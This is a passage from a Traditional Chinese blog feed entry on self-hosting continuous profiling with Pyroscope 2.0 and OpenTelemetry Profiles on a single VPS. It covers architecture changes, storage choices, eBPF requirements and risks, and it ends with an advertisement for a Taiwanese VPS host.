filter，掛掉一次要重建這些狀態動輒十幾分鐘。2.0 把 store-gateway 整個拿掉，querier 直接從 object storage 讀 index、每次 query 都是獨立事件、沒有暖機時間、沒有狀態同步。</p><p>實務上的意義是自架部署可以完全把 Pyroscope 當成無狀態 web service 跑——docker restart 或 systemctl restart 秒回、不用擔心 warm-up、也不用擔心某個 querier 節點掛掉之後查詢會少一段時間的資料。對只有一臺機器的部署場景，Pyroscope 直接跑 all-in-one binary、資料寫進本機 MinIO 或 Garage 就結束，開機到能查詢平均低於 30 秒。這個體感差異對「就是想在自己的 VPS 上跑 profiling 看看應用程式熱區」的個人開發者來說，是從「試過幾次就放棄」跳到「日常開著」的分水嶺。</p><h2 id="OpenTelemetry-Profiles-進-alpha-把採集端統一"><a href="#OpenTelemetry-Profiles-進-alpha-把採集端統一" class="headerlink" title="OpenTelemetry Profiles 進 alpha 把採集端統一"></a>OpenTelemetry Profiles 進 alpha 把採集端統一</h2><p>寫入端的存活壓力解掉之後，下一個門檻是採集端。Pyroscope 1.x 時代要把 profile 送進去得挑一個特定的 pusher——Pyroscope agent、Grafana Alloy、或各種語言 SDK——每個都有自己的 wire format 跟 label semantics，換 backend 幾乎等於重新裝一次採集器。</p><p>OpenTelemetry Profiles 訊號在 2026 年 3 月進入 public alpha，收成第四個觀測性訊號跟 traces、metrics、logs 並列。OTLP 的 profile payload 跟 pprof 無損互換——同一份資料可以用 pprof 工具直接開、也可以在 OpenTelemetry 管線上跑 processor 加 label 或 sampling。相對於 pprof 原生格式，OTLP 靠 shared string dictionary 又把 wire size 縮了大約 40%，這對頻寬受限的 VPS 環境不無小補。</p><p>OpenTelemetry Collector 從 v0.148.0 起有 pprof receiver、支援直接吃 pprof 端點；下游可以用 OTLP exporter 把資料轉發給 Pyroscope 2.0 或任何支援 OTLP profile 的後端。這意味著採集端統一用 OTel Collector（順便處理 metrics、logs、traces）、後端只需要選一個支援 OTLP 的 profile store，不用再為 profile 額外維護一條採集管線。實務上跑 Grafana Alloy 也一樣——Alloy 在 1.x 時就是官方推薦的 Pyroscope pusher，2.0 開始 Alloy 內建 OTLP profile 轉發，切換 backend 不用改採集端設定。</p><h2 id="一臺-VPS-上該怎麼把整條連續-profiling-堆疊跑起來"><a href="#一臺-VPS-上該怎麼把整條連續-profiling-堆疊跑起來" class="headerlink" title="一臺 VPS 上該怎麼把整條連續 profiling 堆疊跑起來"></a>一臺 VPS 上該怎麼把整條連續 profiling 堆疊跑起來</h2><p>實務部署最小組合是四樣東西：Pyroscope（server + object storage backend）、物件儲存（MinIO 或 Garage 選一個）、Grafana（前端查詢介面）、以及 OpenTelemetry Collector 或 Grafana Alloy（採集端）。這四樣用 docker compose 起在同一臺機器上，2 核 4 GB RAM 的 VPS 就能撐得住每分鐘幾十份 profile 的量。</p><p>Object storage 選型上，Garage 對小規模自架比較合適——單 binary、無外部依賴、預設就跑得動；MinIO 生態成熟但社群版被凍在最後一次 commit 之後就沒動了，維運上比較尷尬；RustFS 是這幾個月從 MinIO fork 出來繼續維護的 Rust 重寫方案，值得評估但生態還在起步。三者跟 Pyroscope 2.0 的 S3 相容協定都能對接，選擇比較是根據整體堆疊風格。</p><p>Retention 策略上，Pyroscope 2.0 的預設保留期是 30 天，符號資訊去重後單服務每月大概吃 5 到 20 GB 空間，對 100 GB SSD 的 VPS 完全可以撐一年以上不用清。這是跟 metrics&#x2F;logs 完全不同等級的儲存效率，也是「連續 profiling 在自架環境變成可行」的關鍵之一。</p><p>eBPF profile 採集在 Linux kernel 5.10+ 有完整 BTF 支援時最順，官方推薦的 Grafana Alloy 內建 eBPF profiler、跑起來只吃單核 1% 到 3% 的 CPU。Ubuntu 24.04、Debian 12、以及即將普及的 Ubuntu 26.04 都符合這個 kernel 要求。要注意的是 eBPF profile 對 container 環境有一些額外限制——rootless podman 上 eBPF profiler 抓不到 host 層級 stack、需要走 pod 內獨立部署，這在 K8s 環境會多一步規劃。</p><h2 id="現階段的邊界跟風險"><a href="#現階段的邊界跟風險" class="headerlink" title="現階段的邊界跟風險"></a>現階段的邊界跟風險</h2><p>OpenTelemetry Profiles 訊號還在 alpha，SIG 官方明確建議不要拿來承載關鍵生產工作負載——不是說會壞，而是 wire format 還可能在後續版本微調、跨版本相容性目前不保證。對於「先試著理解自己的應用程式在哪浪費 CPU」這種診斷用途完全夠用，但要把 profile 資料當成長期 SLO 或告警的原始資料源，2026 年還太早。</p><p>Pyroscope 2.0 本身的另一個 trade-off 是熱門查詢的第一次冷啟動會慢——因為 querier 無狀態、每次 query 都要從 object storage 拉 index，第一次跑某個查詢的延遲會在幾秒範圍。1.x 因為 store-gateway 有記憶體 cache 會比較快，但代價是那個記憶體常駐、失效重建痛苦。實務上這個 trade-off 對自架環境比較划算，因為自架環境的查詢通常是「事後查一次找熱點」而非「儀表板每 5 秒重跑一次」。</p><p>長期依賴風險方面，Pyroscope 主線由 Grafana Labs 主導，AGPL-3.0 授權提供了 fork 保護。但過去兩年 HashiCorp、Redis、Elastic 連環改授權的先例還在，Grafana 目前商業模式健康、但長期看仍值得留意。要降低這個風險，最實際的做法是把採集端統一到 OpenTelemetry 生態、backend 保持可換掉的能力——這也正是 OTel Profiles 訊號存在的意義之一。</p><h2 id="結論：連續-profiling-從企業級能力變成-VPS-也扛得住的觀測訊號"><a href="#結論：連續-profiling-從企業級能力變成-VPS-也扛得住的觀測訊號" class="headerlink" title="結論：連續 profiling 從企業級能力變成 VPS 也扛得住的觀測訊號"></a>結論：連續 profiling 從企業級能力變成 VPS 也扛得住的觀測訊號</h2><p>過去 profiling 一直是自架觀測性堆疊裡最貴、最難搞的一環。Pyroscope 2.0 把寫入複製拔掉、讀取路徑無狀態化、符號儲存去重之後，硬體門檻從 32 GB RAM 的專用 profile 節點掉到 4 GB VPS；OpenTelemetry Profiles 進 alpha 把採集端統一，長期背了 OTel 這面大旗表示這個訊號會繼續被主流生態支持。這兩件事合起來讓「在自己的 VPS 上跑一整套 profiling + metrics + logs + traces」在 2026 年下半年變成合理選項，不再需要靠 Datadog、New Relic、Sentry 這些 SaaS 綁定。</p><p>NCSE Network 在臺灣是方電訊機房提供的 VPS 主機採用 Intel Xeon Gold CPU 與 NVMe SSD，單核心效能對 eBPF profiling 這類敏感型工作負載有實際差異，NVMe 對 object storage 的隨機讀寫也讓 Pyroscope 2.0 的冷啟動延遲控制在合理範圍。想在臺灣機房自架整套連續 profiling 堆疊、跟現有 observability 一併托管，前往 <a href="https://ncse.tw/">ncse.tw</a> 了解 VPS 規格與方案細節。</p>]]>
    </content>
    <id>https://blog.ncse.tw/pyroscope-2-otel-profiles-continuous-profiling-self-hosted-vps/</id>
    <link href="https://blog.ncse.tw/pyroscope-2-otel-profiles-continuous-profiling-self-hosted-vps/"/>
    <published>2026-08-20T07:00:00.000Z</published>
    <summary>Pyroscope 2.0 於 2026 年 4 月正式發表，把寫入路徑的三份複製拔掉、讀取路徑改成 stateless、符號資訊去重率壓到 95%；OpenTelemetry Profiles 訊號 3 月進入 public alpha，OTLP 格式與 pprof 無損互換。本文拆解這兩件事為什麼合起來把自架連續 profiling 的門檻拉到 VPS 也扛得住，以及實務部署上的細節與限制。</summary>
    <title>Pyroscope 2.0 拔掉寫入三份複製、OpenTelemetry Profiles 收成 pprof 相容 OTLP：連續 profiling 這次真的塞得進單臺 VPS</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
</feed>
